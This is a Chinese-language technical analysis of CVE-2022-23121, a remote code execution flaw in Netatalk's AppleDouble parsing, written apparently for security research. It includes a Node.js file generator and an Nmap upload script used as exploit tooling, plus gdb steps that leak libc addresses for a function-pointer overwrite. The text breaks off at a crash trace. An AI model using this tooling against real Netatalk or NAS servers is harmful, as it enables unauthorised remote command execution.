<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2022-23121 Netatalk 遠程代碼執行漏洞深入分析

    VSole2022-05-20 17:29:15

    聲明:本篇文章由 可可@QAX CERT 原創,僅用于技術研究,不恰當使用會造成危害,嚴禁違法使用 ,否則后果自負。

    一、Netatalk介紹

    Netatalk 是一個 Apple Filing Protocol (AFP) 的開源實現。它為 Unix 風格系統提供了與 Macintosh 文件共享的功能。多款NAS產品均有集成該功能。

    二、漏洞簡介

    Netatalk在處理FPOpenFork命令的時候,由于未檢查AppleDouble文件頭中的偏移是否超出范圍,導致攻擊者可以通過控制AppleDouble文件的某些偏移,在內存中進行越界讀寫,通過該漏洞攻擊者可以啟動Netatalk的用戶權限執行任意命令。

    三、Appledouble文件

    Appledouble文件格式文檔可在下面鏈接下載,AppleDouble文件是mac上一種存儲數據的格式,AppleDouble文件可分為文件頭和數據部分,文件頭格式如下,對于每個Entry來說,數據在文件內的范圍可表示為:[offset:offset+length]

    Field               Length
    Magic number           4 bytes
    Version number          4 bytes
    Filler              16 bytes
    Number of entries         2 bytes
    Entry descriptor for each entry:
    Entry ID            4 bytes
    Offset            4 bytes
    Length            4 bytes
    

    以下是一個有效的Appledouble文件,包含兩個entry

    entry 1

    • entry ID:0x09
    • offset:0x32
    • length:0x71

    entry 2

    • entry ID:0x02
    • offset:0xA3
    • length:0x46

    https://web.archive.org/web/20180311140826if_/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf

    四、如何生成有效的AppleDouble文件觸發漏洞

    在https://nosec.org/home/detail/4997.html 中keeee師傅分享了如何通過xattr庫生成appledouble文件,這里為了方便生成所需文件對keeee師傅的方法進行魔改。

    首先安裝 xattr-file和minimist庫:

    npm install xattr-file
    npm install minimist
    

    在node_modules目錄內找到xattr-file.js文件,修改creat方法,為其添加接受各種偏移的接口,大致如下:


    function create(attrs, resoLength, findoff, findlen, forkoff, forklen) {  ......
      var finderInfoOffset = findoff == -1 ? applLength : findoff  var finderInfoLength = findlen == -1 ? (attrLength + keysLength + dataLength) : findlen  var resourceForkOffset = forkoff == -1 ? fileLength : forkoff  var resourceForkLength = forklen == -1 ? resoLength : forklen
    

    生成xattr文件的nodejs腳本:


    var xattr = require("xattr-file");const args = require('minimist')(process.argv.slice(2))const fs = require('fs')
    var fp = './'var origname = 'read'// resource fork data 部分:
    var buffer2 = Buffer.from("a".repeat(0x12))var buffer3 = Buffer.from("a".repeat(0x34))
    console.log(Buffer.concat([ buffer2, buffer3]).length)  // 打印的 resource fork data 長度。
    resoLength = Buffer.concat([buffer2, buffer3]).lengthvar findoff = args['findoff'] == undefined ? -1 : parseInt(args['findoff'])var findlen = args['findlen'] == undefined ? -1 : parseInt(args['findlen'])var forklen = args['forklen'] == undefined ? -1 : parseInt(args['forklen'])var forkoff = args['forkoff'] == undefined ? -1 : parseInt(args['forkoff'])// 如果name為空則為readvar name = args["name"] == undefined ? origname : args["name"]
    console.log('findoff:' + findoff + " findlen:" + findlen + " forkoff:" + forkoff + " forklen:" + forklen)
    var buffer = xattr.create({  "com.example.Attribute": "my data"}, resoLength, findoff, findlen, forkoff, forklen);
    var buffer4 = Buffer.concat([buffer, buffer2, buffer3])fs.writeFile(fp + '._' + name, buffer4, { mode: 0o777 }, err => {  if (err) {    console.error(err)    return  } else {    console.log("success write file, file path: " + fp + '._' + name)  }  //文件寫入成功。})
    fs.writeFile(fp + name, "hello world", { mode: 0o777 }, err => {  if (err) {    console.error(err)    return  } else {    console.log("success write file, file path: " + fp + name)  }  //文件寫入成功。})
    fs.chmod(fp+ name, 0o777, () => {  console.log("change " + fp+ name + " mode")})
    fs.chmod(fp + '._' + name, 0o777, () => {  console.log("change " + fp + '._' + name + " mode")})
    

    如何將文件上傳到服務器

    生成文件后,為了更貼合實際漏洞利用場景,即生成有效AppleDouble文件后通過AFP客戶端上傳到AFP服務器,這里借鑒Nmap自帶的afp的lua庫,編寫我們自己的上傳NSE腳本。

    在Nmap中原生包含了afp-ls的NSE腳本,其引用的lua庫afp.lua內含有我們通過AFP協議上傳文件需要的接口WriteFile,在上傳文件的NSE腳本中調用該接口即可

    在scripts目錄下新建afp-upfile.nse文件,將afp-ls.nse內容粘貼進去,去掉列出文件邏輯的代碼,之后編寫lua代碼,讀取文件,將文件內容傳給afp.lua內的WriteFile函數即可,最終如下:


    ......action = function(host, port)  -- 這里和afp-ls的邏輯一樣
        local msg    local uploadpath = args["uploadpath"]    local filepath = args["filepath"]    local poc = io.open(filepath,"r")    local data = poc:read("*all")    poc:close()    status, msg = afpHelper:WriteFile(uploadpath, data)    status, response = afpHelper:Logout()    status, response = afpHelper:CloseSession()    return data  end  returnend
    

    利用該腳本,可以通過nmap上傳文件到afp服務器


    nmap -p 548 --script=afp-upfile --script-args "uploadpath=test/._cmd,filepath=./._cmd" ip
    

    五、漏洞成因

    libatalk/adouble/ad_open.c#parse_entries 函數為Nettatalk解析buf內的數據到自定義的結構體,通過讀取buf內對應offset的數據到傳入的ad指針指向的adouble結構體的某些成員內,完成對相應值的設置,其中buf數據來自讀取的._filename的文件。在循環中將buf首地址加上某個offset中的數據通過memcpy函數拷貝到ad指向的adouble結構體變量內,在循環內含有一個if判斷,當處于以下情況時,parse_entries 會返回-1并且打印警告日志

    1. eid > ADEID_MAX,ADEID_MAX=20
    2. off>sizeof(ad->ad_data)
    3. eid不等于2并且此時的entry的偏移和數據長度相加大于1024

    即通過控制文件內的數據,我們可以控制adouble結構體內的entry的off+len+buf超過buf的邊界,正常流程中adouble結構體內的entry的off+len+buf不應該越過buf邊界。


    static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries){    uint32_t   eid, len, off;    int        ret = 0;    /* now, read in the entry bits */    for (; nentries > 0; nentries-- ) {        memcpy(&eid, buf, sizeof( eid ));        eid = get_eid(ntohl(eid));        buf += sizeof( eid );        memcpy(&off, buf, sizeof( off ));        off = ntohl( off );        buf += sizeof( off );        memcpy(&len, buf, sizeof( len ));        len = ntohl( len );        buf += sizeof( len );
            ad->ad_eid[eid].ade_off = off;        ad->ad_eid[eid].ade_len = len;
            if (!eid            || eid > ADEID_MAX            || off >= sizeof(ad->ad_data)            || ((eid != ADEID_RFORK) && (off + len >  sizeof(ad->ad_data)))) // ADEID_RFORK        {            ret = -1;            LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",                (uint)eid, (uint)off, (uint)len);        }    }
        return ret;}
    // adouble 定義struct adouble {......    char                ad_data[AD_DATASZ_MAX]; //AD_DATASZ_MAX = 1024};
    

    在代碼里,在以下幾處函數中有調用parse_entries 函數

    • ad_header_read
    • ad_header_read_osx
    • ad_header_read_ea

    在三處函數中,只有libatalk/adouble/ad_open.c#ad_header_read_osx函數調用parse_entries函數時,即使parse_entries返回-1,該函數不會return也不會進入異常處理流程,僅僅是通過日志記錄,繼續執行而不報錯。


    if (parse_entries(&adosx, buf, nentries) != 0) {        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",            path ? fullpathname(path) : "");    }
    

    之后ad_header_read_osx 會讀取adouble結構體內的偏移,判斷finderinfoentry len是否等于32,不等于則進入if內,并調用libatalk/adouble/ad_open.c#ad_convert_osx 函數

    ad_convert_osx 函數中會讀取ad指針指向的adouble結構體內的entry結構的off和len偏移并調用memmove函數進行內存復制,此偏移恰好是parse_entries 函數從文件讀取并賦值的偏移。


    static int ad_convert_osx(const char *path, struct adouble *ad){......    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);    if (map == MAP_FAILED) {        LOG(log_error, logtype_ad, "mmap AppleDouble: %s", strerror(errno));        EC_FAIL;    }
        memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,            map + ad_getentryoff(ad, ADEID_RFORK),            ad_getentrylen(ad, ADEID_RFORK));    (void)ad_rebuild_adouble_header_osx(ad, map);    munmap(map, origlen);
    

    六、分析函數調用鏈

    通過doxygen+graphviz繪制函數調用鏈圖(https://www.cnblogs.com/realjimmy/p/12892179.html),從圖中可以看出完整的函數調用鏈為:ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries

    ad_open函數所在的libatalk目錄內的代碼會被編譯為libatalk.so,最終被afpd服務使用,在afpd 代碼中,由etc/afpd/fork.c#afp_openfork 調用libatalk/adouble/ad_open.c#ad_open函數。

    int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen){    .....    /* First ad_open(), opens data or ressource fork */    if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {.....
    

    libatalk/adouble/ad_open.c#ad_open 函數中,當請求內設置了ADFLAGS_RF這個flag才會調用ad_open_rf函數


    if (adflags & ADFLAGS_RF) { // ADFLAGS_RF = 1<<1 = 2        if (ad_open_rf(path, adflags, mode, ad) != 0) {            EC_FAIL;        }}
    

    七、觸發漏洞流程

    想要觸發該漏洞,必須要了解到afpd服務如何處理客戶端請求,以便構造請求執行到漏洞代碼處。

    啟動Netatalk的服務端afpd服務后,在afpd的main函數入口處初始化一些變量、加載AFP配置、監聽端口等。


    int main(int ac, char **av){    struct sigactionsv;    sigset_t            sigs;    int                 ret;......    if (afp_config_parse(&obj, "afpd") != 0).....    obj.options.save_mask = umask(obj.options.umask);......    while (1) {        .......        for (int i = 0; i < asev->used; i++) {            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {                switch (asev->data[i].fdtype) {
                    case LISTEN_FD:                    if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {                        if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {                      .....                            kill(child->afpch_pid, SIGKILL);                        }                    }                    break;               ......}
    

    之后進入while循環,調用 etc/afpd/main.c#dsi_startdsi_start 調用dsi_getsession ,在dsi_getsession中調用dsi->proto_open 函數指針,實際指向libatalk/dsi/dsi_tcp.c#dsi_tcp_open


    static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children){    afp_child_t *child = NULL;
        if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {        ......    }
        /* we've forked. */    if (child == NULL) {        configfree(obj, dsi);        afp_over_dsi(obj); /* start a session */        exit (0);    }
        return child;}
    int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){  // 設置、初始化變量等操作,通過fork函數創建子進程  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */......}
    

    dsi_tcp_open函數接收來自客戶端的連接,通過fork函數創建子進程


    static pid_t dsi_tcp_open(DSI *dsi){    pid_t pid;    SOCKLEN_T len;
        len = sizeof(dsi->client);    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);    ......    if (0 == (pid = fork()) ) { /* child */       ......    }
        /* send back our pid */    return pid;}
    

    返回到dsi_getsession函數中,當fork返回的pid為0時,即當前進程為子進程則跳出switch結構,進入處理DSI數據的邏輯,當返回的pid不為0也不為-1時,即當前進程為父進程,則返回到dsi_start函數。


    int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){  // 設置、初始化變量等操作  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */  case -1:    ......  case 0: // 如果是子進程則直接退出switch,進入處理DSI數據的邏輯    break;  default: //如果是父進程則返回到dsi_start函數    ......    dsi->proto_close(dsi);    *childp = child;    return 0;  }  ....  switch (dsi->header.dsi_command) {                 // 根據dsi命令執行不同動作  case DSIFUNC_STAT: /* send off status and return */   .....      case DSIFUNC_OPEN: /* setup session */    /* set up the tickle timer */    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;    dsi_opensession(dsi);    *childp = NULL;    return 0;
      default: /* just close */    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);    dsi->proto_close(dsi);    exit(EXITERR_CLNT);  }}
    

    之后回到dsi_start函數中,如果當前進程為父進程則返回到main函數中的while循環中,等待客戶端的連接。如果當前進程為子進程則調用afp_over_dsi函數處理AFP數據,根據不同的AFP命令調用全局變量afp_switch[]內的不同函數指針進行處理


    void afp_over_dsi(AFPObj *obj){    ......    /* get stuck here until the end */    while (1) {        ......        cmd = dsi_stream_receive(dsi);......        switch(cmd) {        case DSIFUNC_CLOSE:            ......        case DSIFUNC_TICKLE:            ......        case DSIFUNC_CMD:......function = (u_char) dsi->commands[0];                /* send off an afp command. in a couple cases, we take advantage                 * of the fact that we're a stream-based protocol. */                if (afp_switch[function]) {                    dsi->datalen = DSI_DATASIZ;                    dsi->flags |= DSI_RUNNING;
                        LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
                        AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));                    err = (*afp_switch[function])(obj,                                                  (char *)dsi->commands, dsi->cmdlen,                                                  (char *)&dsi->data, &dsi->datalen);
                        ......    }
        /* error */    afp_dsi_die(EXITERR_CLNT);}
    

    afp_switchpreauth_switch初始化,里面只有少量函數指針,而在postauth_switch中含有大量函數指針,推測為經過身份驗證后afp_switchpostauth_switch賦值


    static AFPCmd preauth_switch[] = {    NULL, NULL, NULL, NULL,    NULL, NULL, NULL, NULL,/*   0 -   7 */    NULL, NULL, NULL, NULL,    NULL, NULL, NULL, NULL,/*   8 -  15 */    NULL, NULL, afp_login, afp_logincont,    afp_logout, NULL, NULL, NULL,/*  16 -  23 */    .....};
    AFPCmd *afp_switch = preauth_switch;
    AFPCmd postauth_switch[] = {    NULL, afp_bytelock, afp_closevol, afp_closedir,    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,/*   0 -   7 */    afp_delete, afp_enumerate, afp_flush, afp_flushfork,    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,/*   8 -  15 */    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,/*  16 -  23 */    afp_openvol, afp_opendir, afp_openfork, afp_read,    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,    /*  24 -  31 */    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,    afp_null, afp_null, afp_null, afp_null,/*  40 -  47 */    afp_opendt, afp_closedt, afp_null, afp_geticon,    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,/*  48 -  55 */    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,......};
    static int set_auth_switch(const AFPObj *obj, int expired){ ......        afp_switch = postauth_switch;
    

    在函數調用鏈中,afp_openforkafp_switch的下標為26,同時26也可以在AFP數據包內看到:

    調用總結

    總結以上觸發流程,觸發到afp_openfork函數需要AFP數據包內Command字段值為26同時需要設置ADFLAGS_RF 這個flag,觸發漏洞鏈條為:afp_openfork->ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries

    函數調用圖如下:

    如何發送FPOpenFork請求

    前面說過在nmap中含有afp相關的腳本,在nmap自帶的lua庫afp.lua中含有讀取文件相關的函數,調用之,最終nse腳本如下,需要注意的是,在FPOpenFork請求中必須設置ADFLAGS_RF 這個flag才會觸發到漏洞函數邏輯,在nmap自帶的afp.lua的ReadFile函數中,該flag寫死為0,需要修改為0x2,請求中的ADFLAGS_RF 才會被設置。


    action = function(host, port)-- 和afp-ls邏輯一樣
        local str_path = args["path"]
        local content    status, content = afpHelper:ReadFile(str_path)    status, response = afpHelper:Logout()    status, response = afpHelper:CloseSession()
        return content
      end  returnend
    

    文件內應該包含什么

    在函數調用鏈中的ad_header_read_osx 函數中,有備注Read an ._ file, only uses the resofork, finderinfo is taken from EA ,該函數只會使用resoforkfinderinfo 這兩種entry,所以在生成觸發該漏洞的文件時只需要包含這兩種entry即可。

    八、環境搭建

    這里使用Netatalk 3.1.11版本搭建

    • 系統版本 Ubuntu 1804
    • 內核版本
    root@ubuntu:~/nettatalk/netatalk-3.1.11/build/sbin/genefile# uname -a
    Linux ubuntu 5.13.0-40-generic #45~20.04.1-Ubuntu SMP Mon Apr 4 09:38:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
    
    • libc版本 libc-2.31.so

    Netatalk編譯

    apt-get install -y libdb-dev libgcrypt-dev libcrack2-dev libgssapi-krb5-2 libgssapi3-heimdal libgssapi-perl libkrb5-dev libtdb-dev libevent-dev  libdb-devwget https://versaweb.dl.sourceforge.net/project/netatalk/netatalk/3.1.11/netatalk-3.1.11.tar.bz2tar -xjf netatalk-3.1.11.tar.bz2cd netatalk-3.1.11.tar.bz2mkdir buildexport CFLAGS='-g -O0' # 保留調試符號,方便調試./configure \ --with-init-style=debian-systemd \ --without-libevent \--without-tdb \--with-cracklib \--enable-krbV-uam \--enable-debug \--with-pam-confdir=/etc/pam.d \--with-dbus-daemon=/usr/bin/dbus-daemon \--with-dbus-sysconf-dir=/etc/dbus-1/system.d \--with-tracker-pkgconfig-version=1.0 \--prefix=`pwd`/build \--bindir=`pwd`/build/bin \--sbindir=`pwd`/build/sbin
    makemake install
    

    Netatalk配置

    mkdir /tmp/afp_tmp/mkdir /tmp/afp_tmp/Publicmkdir /tmp/afp_tmp/test
    echo test > /tmp/afp_tmp/test/test.txtecho hello > /tmp/afp_tmp//Public/hello.txtchmod 777 -R /tmp/afp_tmp/Public /tmp/afp_tmp/test/tmp/afp_tmp/afp.conf:[ Global ]uam list = uams_guest.so,uams_clrtxt.so,uams_dhx2.sosave password = nounix charset = UTF8use sendfile = yeszeroconf = noguest account = nobody
     [ Public ] path =/tmp/afp_tmp/Publicea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users = 
     [ test ] path = /tmp/afp_tmp/testea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users =
    

    參考:

    https://nosec.org/home/detail/4997.html

    九、調試

    在AFPD中,由子進程負責處理AFP請求,父進程則循環接受客戶端的請求,所以這里只需要調試子進程即可,為了方便調試,編寫了如下腳本,至于為什么設置條件斷點b ad_open.c:1894 if adflags & 2 != 0 在后文說明。


    t.shgdb -x debug.gdb attach `ps -ef | grep  afpd | grep -v grep | grep -v cnid |awk '{print $2}' | head -1`
    debug.gdbset follow-fork-mode childset detach-on-fork offset schedule-multiple onb ad_open.c:1894 if adflags & 2 != 0cb ad_open.c:617b ad_open.c:605
    

    啟動AFPD服務


    ./afpd -d -F /tmp/afp_tmp/afpd.conf./cnid_metad -d -F /tmp/afp_tmp/afpd.conf
    

    十、為什么要設置條件斷點

    將前面生成的appledouble文件通過nmap腳本上傳到afp服務器,通過nmap腳本請求該文件觸發該漏洞

    如果斷點沒有設置if adflags & 2 != 0 這個條件則gdb會直接斷在ad_open.c:1894,此時請求內ADFLAGS_RF 值為0,不能進入漏洞邏輯,而由于斷點,afp無法及時回復nmap數據包,nmap會報超時。

    繼續執行的話,afpd會收到SIGALRM信號,無法進入漏洞邏輯

    十一、正常調試

    上傳的._read文件到test目錄:

    觸發漏洞,進入parse_entries函數內,parse_entries讀取buf里面的數據到ad指向的adouble結構體中。

    最終adouble結構體內entry成員變量被設置為如下值,可以看出finderinfo entry內的off已經越界了:

    而正常appledouble文件內,每個entry.ade_off+entry.ad_len相加應該小于文件大小,在上圖中第九個entry即finderinfo的entry.ade_off+entry.ad_len = A27 >文件大小,這個偏移也可以從文件內體現,此時finderinfo的off已越界,此時已經控制了adouble.entry.off

    十二、如何利用entry內的越界

    前面寫到,parse_entries函數可以將adouble結構體內的entry的off和len相加大于文件大小,如果某個地方讀取了這個off和len并作為offset讀寫數據則可能產生越界讀寫。

    繼續看ad_header_read_osx調用parse_entries之后的邏輯,在parse_entries中如果程序發現off+len越界則會返回-1,如果ad指向的adouble結構體內的finderinfo entryade_len不等于32則進入if邏輯內,調用到ad_convert_osx函數。

    ad_convert_osx函數中,程序將appledouble文件映射到內存中,此時對文件映射的內存的讀寫即是對該文件的讀寫。ad_convert_osx函數映射之后調用了memmovead_rebuild_adouble_header_osx函數,之后通過munmap函數取消映射,將內存中的數據寫入文件內。

    mmap的長度參數origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK)ad.ADEID_RFORK.off + ad.ADEID_RFORK.len 都為可控值


    static int ad_convert_osx(const char *path, struct adouble *ad){ ......    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);    ......    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,            map + ad_getentryoff(ad, ADEID_RFORK),            ad_getentrylen(ad, ADEID_RFORK));
    .    (void)ad_rebuild_adouble_header_osx(ad, map);    munmap(map, origlen);......}#define ad_getentrylen(ad,eid)     ((ad)->ad_eid[(eid)].ade_len)long ad_getentryoff(const struct adouble *ad, int eid){    if (ad->ad_vers == AD_VERSION2)        return ad->ad_eid[eid].ade_off;
        switch (eid) {    case ADEID_DFORK:        return 0;    case ADEID_RFORK:#ifdef HAVE_EAFD        return 0;#else        return ad->ad_eid[eid].ade_off;#endif    default:        return ad->ad_eid[eid].ade_off;    }    /* deadc0de */    AFP_PANIC("What am I doing here?");}
    

    mmap之后文件已映射到內存中,在經過多次測試后,當resource fork length + resource fork offset ≤1000 時會mmap分配的內存在ld.sodata段上面。

    任意寫

    仔細看調用memmove時的參數,map為文件映射到內存的首地址,ad_getentryoff為獲取指定entry id的entry的off,ADEDLEN_FINDERI為宏定義值為32=0x20,而我們可以控制各個entry的off和len,通過該處調用,即我們可以從map + ad.ADEID_RFORK.off處讀取任意長度的數據寫入到任何高于map+0x20的內存(前提是該地址可寫)也就是將文件中ad.ADEID_RFORK.off 處的數據寫入該內存,而ad.ADEID_FINDERI.offad.ADEID_RFORK.off都為可控值,即可達到任意寫。

     memmove(map + ad.ADEID_FINDERI.off + 0x20,
         map + ad.ADEID_RFORK.off,
         ad.ADEID_RFORK.len);
    

    任意讀

    任意讀發生在任意寫的后面的函數調用,在ad_rebuild_adouble_header_osx 函數中有如下語句,該語句將ad.ad_data+ad.ADEID_FINDERI.off 處開始長為0x20的數據寫入到adbuf+ADEDOFF_FINDERI_OSX中,ADEDOFF_FINDERI_OSX為宏定義,展開后可得值為26+2*12=50=0x32,而adbuf為mmap映射后返回的內存地址,該處語句將數據寫入到mmap映射的內存偏移0x32的位置。


    #define ad_entry(ad,eid)           ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf){    ......    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);
    #define ADEDOFF_FINDERI_OSX  (AD_HEADER_LEN + ADEID_NUM_OSX*AD_ENTRY_LEN)#define AD_HEADER_LEN       (ADEDLEN_MAGIC + ADEDLEN_VERSION + ADEDLEN_FILLER + ADEDLEN_NENTRIES) /* 26 */#define ADEID_NUM_OSX           2#define AD_ENTRY_LEN        12  /* size of a single entry header */
    

    在調用完ad_rebuild_adouble_header_osx 函數后,程序調用munmap函數取消文件映射,內存內的數據會被寫回到appledouble文件中,綜合有:可以將ad.ad_data+ad.ADEID_FINDERI.off 處開始長為0x20的數據寫入到文件偏移0x32處的地方,此時可以通過讀取文件獲取任意讀的內存的內容。

    組合利用

    在內存中ad指向的結構體是存放在棧上的,分配的adouble結構體地址位于ad_header_read_osx棧幀的rbp-0x620處,可以用調試器測算和__libc_start_main_ret的地址

    gef?  bt#0  0x00007f624307220b in ad_header_read_osx (path=0x7f62430d6bc0  "._read", ad=0x558ce325bba0, hst=0x7ffcf6e36990) at ad_open.c:698#1  0x00007f6243074e50 in ad_open_rf_ea (path=0x558ce2e38f80  "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1488#2  0x00007f62430750ae in ad_open_rf (path=0x558ce2e38f80  "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1529#3  0x00007f6243075d29 in ad_open (ad=0x558ce325bba0, path=0x558ce2e38f80  "read", adflags=0x283) at ad_open.c:1895#4  0x0000558ce2e143bd in afp_openfork (obj=0x558ce2e4d920 , ibuf=0x7f6242b6c022 "uthent", ibuflen=0x12, rbuf=0x558ce3245b10 "", rbuflen=0x558ce3255b10) at fork.c:364#5  0x0000558ce2df2c81 in afp_over_dsi (obj=0x558ce2e4d920 ) at afp_dsi.c:627#6  0x0000558ce2e193ff in dsi_start (obj=0x558ce2e4d920 , dsi=0x558ce3245420, server_children=0x558ce3242240) at main.c:474#7  0x0000558ce2e19102 in main (ac=0x4, av=0x7ffcf6e36fc8) at main.c:417gef?  i frame 7Stack frame at 0x7ffcf6e36ee0: rip = 0x558ce2e19102 in main (main.c:417); saved rip = 0x7f6242e51083 caller of frame at 0x7ffcf6e36d80 source language c. Arglist at 0x7ffcf6e36d78, args: ac=0x4, av=0x7ffcf6e36fc8 Locals at 0x7ffcf6e36d78, Previous frame's sp is 0x7ffcf6e36ee0 Saved registers:  rbp at 0x7ffcf6e36ed0, rip at 0x7ffcf6e36ed8gef?  p &adosx.ad_data$11 = (char (*)[1024]) 0x7ffcf6e36522gef?  p 0x7ffcf6e36ed8 - 0x7ffcf6e36522$12 = 0x9b6
    

    任意讀是讀取ad.ad_data+ad.ADEID_FINDERI.off 處長為0x20的數據,而ad.ad_data 距離__libc_start_main_ret0x9b6,所以可以設置ad.ADEID_FINDERI.off 為0x9b6以獲取__libc_start_main_ret地址。利用腳本構造文件并利用NSE腳本上傳到服務器

    通過命令觸發該漏洞、

    __libc_start_main_ret地址已經回顯在文件內

    驗證地址:

    在https://libc.rip 上驗證libc版本:

    通過__libc_start_main_ret地址可以測算system函數地址


    gef?  p 0x7f6242e51083 - 0x24083 + 0x52290$14 = 0x7f6242e7f290gef?  p system$15 = {int (const char *)} 0x7f6242e7f290 <__libc_system>gef?
    

    至此,我們得到了system函數地址,那么如何利用這個地址呢?

    Netatalk每次收到客戶端請求都是fork子進程處理該請求,父進程繼續監聽socket,而fork的子進程內存空間和父進程內存空間的內容一樣即libc庫載入的地址不變,所以可以先發送請求通過任意讀獲取到system函數地址,第二次發送請求時,由于父進程不變所以system函數地址不變,通過任意寫的system函數地址不變,才能達到命令執行的效果。

    正是因為fork后,內存空間不變的機制才能利用任意讀獲取到system函數地址,而后通過任意寫覆蓋函數指針達到命令執行的效果。

    在Netatalk執行過程中,程序出錯不會立即退出而是會捕獲異常,通過任意寫,寫入了ld.so的數據段,觸發錯誤,導致了如下崩潰:

    gef?  bt#0  0x00007efeac84c59d in _dl_open (file=0x7efeac733eb9 "libgcc_s.so.1", mode=0x80000002, caller_dlopen=0x7efeac6acfb9 25>, nsid=0xfffffffffffffffe, argc=0x4, argv=0x7ffd9f27a1e8, env=0x7ffd9f27a210) at dl-open.c:786#1  0x00007efeac6df8c1 in do_dlopen (ptr=ptr@entry=0x7ffd9f277d60) at dl-libc.c:96#2  0x00007efeac6e0928 in __GI__dl_catch_exception (exception=exception@entry=0x7ffd9f277d00, operate=operate@entry=0x7efeac6df880 , args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:208#3  0x00007efeac6e09f3 in __GI__dl_catch_error (objname=objname@entry=0x7ffd9f277d50, errstring=errstring@entry=0x7ffd9f277d58, mallocedp=mallocedp@entry=0x7ffd9f277d4f, operate=operate@entry=0x7efeac6df880 , args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:227#4  0x00007efeac6df9f5 in dlerror_run (args=0x7ffd9f277d60, operate=0x7efeac6df880 ) at dl-libc.c:46#5  __GI___libc_dlopen_mode (name=name@entry=0x7efeac733eb9 "libgcc_s.so.1", mode=mode@entry=0x80000002) at dl-libc.c:195#6  0x00007efeac6acfb9 in init () at backtrace.c:54#7  0x00007efeac7834df in __pthread_once_slow (once_control=0x7efeac76fe68 , init_routine=0x7efeac6acfa0 ) at pthread_once.c:116#8  0x00007efeac6ad104 in __GI___backtrace (array=, size=) at backtrace.c:111#9  0x00007efeac7ec7ff in netatalk_panic (why=0x7efeac818148 "internal error") at fault.c:93#10 0x00007efeac7eca69 in fault_report (sig=0xb) at fault.c:127#11 0x00007efeac7ecac3 in sig_fault (sig=0xb) at fault.c:147#12 #13 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238#14 0x00007efeac7c10e2 in ad_rebuild_adouble_header_osx (ad=0x7ffd9f279540, adbuf=0x7efeac863000 "") at ad_flush.c:187#15 0x00007efeac7c4d4c in ad_convert_osx (path=0x7efeac829bc0  "._cmd", ad=0x7ffd9f279540) at ad_open.c:617#16 0x00007efeac7c5379 in ad_header_read_osx (path=0x7efeac829bc0  "._cmd", ad=0x55dcb6856780, hst=0x7ffd9f279bb0) at ad_open.c:713#17 